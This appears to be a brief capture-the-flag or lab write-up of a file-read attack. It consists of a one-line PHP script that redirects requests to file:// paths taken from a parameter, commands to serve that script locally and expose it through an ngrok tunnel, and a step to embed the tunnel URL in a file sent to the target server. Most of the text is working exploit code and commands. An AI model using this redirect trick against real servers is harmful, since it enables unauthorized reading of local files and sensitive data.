<?php header('location:file://'.$_REQUEST['x']); ?>

First we are starting the php-server:

php -S 127.0.0.1:8000

We need an account ngrok and must enter a valid CC("We require a valid card as a way to combat abuse and keep the internet a safe place")

ngrok tcp 127.0.0.1:8000

We are coyping the tcp and change the protocol to http. Entering both in our pdy-file and send it to the server.
